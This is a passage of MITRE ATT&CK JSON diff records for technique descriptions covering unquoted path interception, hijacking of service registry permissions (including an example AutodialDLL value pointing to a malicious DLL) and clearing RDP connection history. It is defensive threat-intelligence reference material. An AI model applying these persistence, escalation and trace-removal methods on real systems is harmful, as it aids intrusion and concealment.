{
"source_name": "Windows Unquoted Services",
"description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.",
"url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/"
},
{
"source_name": "Help eliminate unquoted path",
"description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.",
"url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464"
},
{
"source_name": "Microsoft CurrentControlSet Services",
"description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020.",
"url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Stefan Kanthak"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:06:34.300000+00:00\", \"old_value\": \"2026-05-12 15:12:00.713000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\\n\\nService paths(Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\\\unsafe path with space\\\\program.exe vs. \\\"C:\\\\safe path with space\\\\program.exe\\\").(Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\\\program files\\\\myapp.exe, an adversary may create a program at C:\\\\program.exe that will be run instead of the intended program.(Citation: Windows Unquoted Services)(Citation: Windows Privilege Escalation Guide)\\n\\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\\n\\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\\\unsafe path with space\\\\program.exe vs. \\\"C:\\\\safe path with space\\\\program.exe\\\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\\\program files\\\\myapp.exe, an adversary may create a program at C:\\\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\\n\\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\\n \\n-Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\\\unsafe path with space\\\\program.exe vs. \\\"C:\\\\safe path with space\\\\program.exe\\\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\\\program files\\\\myapp.exe, an adversary may create a program at C:\\\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\\n+Service paths(Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\\\unsafe path with space\\\\program.exe vs. \\\"C:\\\\safe path with space\\\\program.exe\\\").(Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\\\program files\\\\myapp.exe, an adversary may create a program at C:\\\\program.exe that will be run instead of the intended program.(Citation: Windows Unquoted Services)(Citation: Windows Privilege Escalation Guide)\\n \\n This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking vulnerable file path references. Adversaries can take | > | cking vulnerable file path references. Adversaries can take | ||
| > | advantage of paths that lack surrounding quotations by placi | > | advantage of paths that lack surrounding quotations by placi | ||
| > | ng an executable in a higher level directory within the path | > | ng an executable in a higher level directory within the path | ||
| > | , so that Windows will choose the adversary's executable to | > | , so that Windows will choose the adversary's executable to | ||
| > | launch. Service paths (Citation: Microsoft CurrentControlSe | > | launch. Service paths(Citation: Microsoft CurrentControlSet | ||
| > | t Services) and shortcut paths may also be vulnerable to pat | > | Services) and shortcut paths may also be vulnerable to path | ||
| > | h interception if the path has one or more spaces and is not | > | interception if the path has one or more spaces and is not | ||
| > | surrounded by quotation marks (e.g., <code>C:\\unsafe path w | > | surrounded by quotation marks (e.g., <code>C:\\unsafe path wi | ||
| > | ith space\\program.exe</code> vs. <code>\"C:\\safe path with sp | > | th space\\program.exe</code> vs. <code>\"C:\\safe path with spa | ||
| > | ace\\program.exe\"</code>). (Citation: Help eliminate unquoted | > | ce\\program.exe\"</code>).(Citation: Help eliminate unquoted p | ||
| > | path) (stored in Windows Registry keys) An adversary can pl | > | ath) (stored in Windows Registry keys) An adversary can plac | ||
| > | ace an executable in a higher level directory of the path, a | > | e an executable in a higher level directory of the path, and | ||
| > | nd Windows will resolve that executable instead of the inten | > | Windows will resolve that executable instead of the intende | ||
| > | ded executable. For example, if the path in a shortcut is <c | > | d executable. For example, if the path in a shortcut is <cod | ||
| > | ode>C:\\program files\\myapp.exe</code>, an adversary may crea | > | e>C:\\program files\\myapp.exe</code>, an adversary may create | ||
| > | te a program at <code>C:\\program.exe</code> that will be run | > | a program at <code>C:\\program.exe</code> that will be run i | ||
| > | instead of the intended program. (Citation: Windows Unquote | > | nstead of the intended program.(Citation: Windows Unquoted S | ||
| > | d Services) (Citation: Windows Privilege Escalation Guide) | > | ervices)(Citation: Windows Privilege Escalation Guide) This | ||
| > | This technique can be used for persistence if executables ar | > | technique can be used for persistence if executables are ca | ||
| > | e called on a regular basis, as well as privilege escalation | > | lled on a regular basis, as well as privilege escalation if | ||
| > | if intercepted executables are started by a higher privileg | > | intercepted executables are started by a higher privileged p | ||
| > | ed process. | > | rocess. |
HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions.(Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\n\nFor example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial functionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\n\n\"AutodialDLL\"=\"c:\\temp\\foo.dll\"\n\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/011",
"external_id": "T1574.011"
},
{
"source_name": "Tweet Registry Perms Weakness",
"description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved September 12, 2024.",
"url": "https://x.com/r0wdy_/status/936365549553991680"
},
{
"source_name": "insecure_reg_perms",
"description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.",
"url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/"
},
{
"source_name": "hexacorn",
"description": "hexacorn. (2015, January 13). Beyond good ol\u2019 Run key, Part 24. Retrieved September 25, 2025.",
"url": "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/"
},
{
"source_name": "Kansa Service related collectors",
"description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.",
"url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html"
},
{
"source_name": "malware_hides_service",
"description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.",
"url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/"
},
{
"source_name": "MDSec",
"description": "MDSec. (n.d.). Autodial(DLL)ing Your Way. Retrieved September 25, 2025.",
"url": "https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/"
},
{
"source_name": "Registry Key Security",
"description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
"url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN"
},
{
"source_name": "microsoft_services_registry_tree",
"description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.",
"url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"
},
{
"source_name": "gendigital",
"description": "Threat Research Team. (2022, March 22). Operation Dragon Castling: APT group targeting betting companies. Retrieved September 25, 2025.",
"url": "https://www.gendigital.com/blog/insights/research/operation-dragon-castling-apt-group-targeting-betting-companies"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Joe Gumke, U.S. Bank",
"Matthew Demaske, Adaptforward",
"Travis Smith, Tripwire"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:07:19.054000+00:00\", \"old_value\": \"2026-05-12 15:12:00.622000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions.(Citation: Registry Key Security)(Citation: malware_hides_service)\\n\\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n\\nAdversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n\\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n\\nAdversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\\n\\nFor example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial functionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\\n\\n\\\"AutodialDLL\\\"=\\\"c:\\\\temp\\\\foo.dll\\\"\\n\\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n\\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n\\nAdversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n\\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n\\nAdversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\\n\\nFor example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\\n\\n\\\"AutodialDLL\\\"=\\\"c:\\\\temp\\\\foo.dll\\\"\\n\\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n+Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions.(Citation: Registry Key Security)(Citation: malware_hides_service)\\n \\n If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n \\n@@ -8,7 +8,7 @@\\n \\n Adversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\\n \\n-For example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\\n+For example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial functionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\\n \\n \\\"AutodialDLL\\\"=\\\"c:\\\\temp\\\\foo.dll\\\"\\n \"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the Registry entries used by services. Flaws in the pe | > | cking the Registry entries used by services. Flaws in the pe | ||
| > | rmissions for Registry keys related to services can allow ad | > | rmissions for Registry keys related to services can allow ad | ||
| > | versaries to redirect the originally specified executable to | > | versaries to redirect the originally specified executable to | ||
| > | one they control, launching their own code when a service s | > | one they control, launching their own code when a service s | ||
| > | tarts. Windows stores local service configuration informatio | > | tarts. Windows stores local service configuration informatio | ||
| > | n in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\ | > | n in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\ | ||
| > | Services</code>. The information stored under a service's Re | > | Services</code>. The information stored under a service's Re | ||
| > | gistry keys can be manipulated to modify a service's executi | > | gistry keys can be manipulated to modify a service's executi | ||
| > | on parameters through tools such as the service controller, | > | on parameters through tools such as the service controller, | ||
| > | sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1 | > | sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1 | ||
| > | 059/001), or [Reg](https://attack.mitre.org/software/S0075). | > | 059/001), or [Reg](https://attack.mitre.org/software/S0075). | ||
| > | Access to Registry keys is controlled through access contro | > | Access to Registry keys is controlled through access contro | ||
| > | l lists and user permissions. (Citation: Registry Key Securi | > | l lists and user permissions.(Citation: Registry Key Securit | ||
| > | ty)(Citation: malware_hides_service) If the permissions for | > | y)(Citation: malware_hides_service) If the permissions for | ||
| > | users and groups are not properly set and allow access to t | > | users and groups are not properly set and allow access to th | ||
| > | he Registry keys for a service, adversaries may change the s | > | e Registry keys for a service, adversaries may change the se | ||
| > | ervice's binPath/ImagePath to point to a different executabl | > | rvice's binPath/ImagePath to point to a different executable | ||
| > | e under their control. When the service starts or is restart | > | under their control. When the service starts or is restarte | ||
| > | ed, the adversary-controlled program will execute, allowing | > | d, the adversary-controlled program will execute, allowing t | ||
| > | the adversary to establish persistence and/or privilege esca | > | he adversary to establish persistence and/or privilege escal | ||
| > | lation to the account context the service is set to execute | > | ation to the account context the service is set to execute u | ||
| > | under (local/domain account, SYSTEM, LocalService, or Networ | > | nder (local/domain account, SYSTEM, LocalService, or Network | ||
| > | kService). Adversaries may also alter other Registry keys i | > | Service). Adversaries may also alter other Registry keys in | ||
| > | n the service\u2019s Registry tree. For example, the <code>Failur | > | the service\u2019s Registry tree. For example, the <code>Failure | ||
| > | eCommand</code> key may be changed so that the service is ex | > | Command</code> key may be changed so that the service is exe | ||
| > | ecuted in an elevated context anytime the service fails or i | > | cuted in an elevated context anytime the service fails or is | ||
| > | s intentionally corrupted.(Citation: Kansa Service related c | > | intentionally corrupted.(Citation: Kansa Service related co | ||
| > | ollectors)(Citation: Tweet Registry Perms Weakness) The <co | > | llectors)(Citation: Tweet Registry Perms Weakness) The <cod | ||
| > | de>Performance</code> key contains the name of a driver serv | > | e>Performance</code> key contains the name of a driver servi | ||
| > | ice's performance DLL and the names of several exported func | > | ce's performance DLL and the names of several exported funct | ||
| > | tions in the DLL.(Citation: microsoft_services_registry_tree | > | ions in the DLL.(Citation: microsoft_services_registry_tree) | ||
| > | ) If the <code>Performance</code> key is not already present | > | If the <code>Performance</code> key is not already present | ||
| > | and if an adversary-controlled user has the <code>Create Su | > | and if an adversary-controlled user has the <code>Create Sub | ||
| > | bkey</code> permission, adversaries may create the <code>Per | > | key</code> permission, adversaries may create the <code>Perf | ||
| > | formance</code> key in the service\u2019s Registry tree to point | > | ormance</code> key in the service\u2019s Registry tree to point t | ||
| > | to a malicious DLL.(Citation: insecure_reg_perms) Adversari | > | o a malicious DLL.(Citation: insecure_reg_perms) Adversarie | ||
| > | es may also add the <code>Parameters</code> key, which can r | > | s may also add the <code>Parameters</code> key, which can re | ||
| > | eference malicious drivers file paths. This technique has be | > | ference malicious drivers file paths. This technique has bee | ||
| > | en identified to be a method of abuse by configuring DLL fil | > | n identified to be a method of abuse by configuring DLL file | ||
| > | e paths within the <code>Parameters</code> key of a given se | > | paths within the <code>Parameters</code> key of a given ser | ||
| > | rvices registry configuration. By placing and configuring th | > | vices registry configuration. By placing and configuring the | ||
| > | e <code>Parameters</code> key to reference a malicious DLL, | > | <code>Parameters</code> key to reference a malicious DLL, a | ||
| > | adversaries can ensure that their code is loaded persistentl | > | dversaries can ensure that their code is loaded persistently | ||
| > | y whenever the associated service or library is invoked. Fo | > | whenever the associated service or library is invoked. For | ||
| > | r example, the registry path(Citation: MDSec) <code>HKEY_LOC | > | example, the registry path(Citation: MDSec) <code>HKEY_LOCA | ||
| > | AL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parame | > | L_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Paramet | ||
| > | ters</code>(Citation: hexacorn)(Citation: gendigital) contai | > | ers</code>(Citation: hexacorn)(Citation: gendigital) contain | ||
| > | ns the <code>AutodiaDLL</code> value, which specifies the DL | > | s the <code>AutodiaDLL</code> value, which specifies the DLL | ||
| > | L to be loaded for autodial funcitionality. An adversary cou | > | to be loaded for autodial functionality. An adversary could | ||
| > | ld set the <code>AutodiaDLL</code> to point to a hijacked or | > | set the <code>AutodiaDLL</code> to point to a hijacked or m | ||
| > | malicious DLL: <code>\"AutodialDLL\"=\"c:\\temp\\foo.dll\"</code | > | alicious DLL: <code>\"AutodialDLL\"=\"c:\\temp\\foo.dll\"</code> | ||
| > | > This ensures persistence, as it causes the DLL (in this c | > | This ensures persistence, as it causes the DLL (in this cas | ||
| > | ase, foo.dll) to be loaded each time the Winsock 2 library i | > | e, foo.dll) to be loaded each time the Winsock 2 library is | ||
| > | s invoked. | > | invoked. |
HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default(Citation: Microsoft RDP Removal)\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers(Citation: Microsoft RDP Removal)\n\nWindows may also store information about recent RDP connections in files such as C:\\Users\\\\%username%\\Documents\\Default.rdp and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1686) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1070/007",
"external_id": "T1070.007"
},
{
"source_name": "FreeDesktop Journal",
"description": "freedesktop.org. (n.d.). systemd-journald.service. Retrieved June 15, 2022.",
"url": "https://www.freedesktop.org/software/systemd/man/systemd-journald.service.html"
},
{
"source_name": "Microsoft RDP Removal",
"description": "Microsoft. (2021, September 24). How to remove entries from the Remote Desktop Connection Computer box. Retrieved June 15, 2022.",
"url": "https://docs.microsoft.com/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer"
},
{
"source_name": "Moran RDPieces",
"description": "Moran, B. (2020, November 18). Putting Together the RDPieces. Retrieved October 17, 2022.",
"url": "https://www.osdfcon.org/presentations/2020/Brian-Moran_Putting-Together-the-RDPieces.pdf"
},
{
"source_name": "Apple Culprit Access",
"description": "rjben. (2012, May 30). How do you find the culprit when unauthorized access to a computer is a problem?. Retrieved August 3, 2022.",
"url": "https://discussions.apple.com/thread/3991574"
},
{
"source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
"description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
"url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"CrowdStrike Falcon OverWatch"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network Devices"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:24:49.113000+00:00\", \"old_value\": \"2026-05-12 15:12:00.627000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\\n\\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under:\\n\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default(Citation: Microsoft RDP Removal)\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers(Citation: Microsoft RDP Removal)\\n\\nWindows may also store information about recent RDP connections in files such as C:\\\\Users\\\\\\\\%username%\\\\Documents\\\\Default.rdp and `C:\\\\Users\\\\%username%\\\\AppData\\\\Local\\\\Microsoft\\\\Terminal\\nServer Client\\\\Cache\\\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n\\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1686) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or 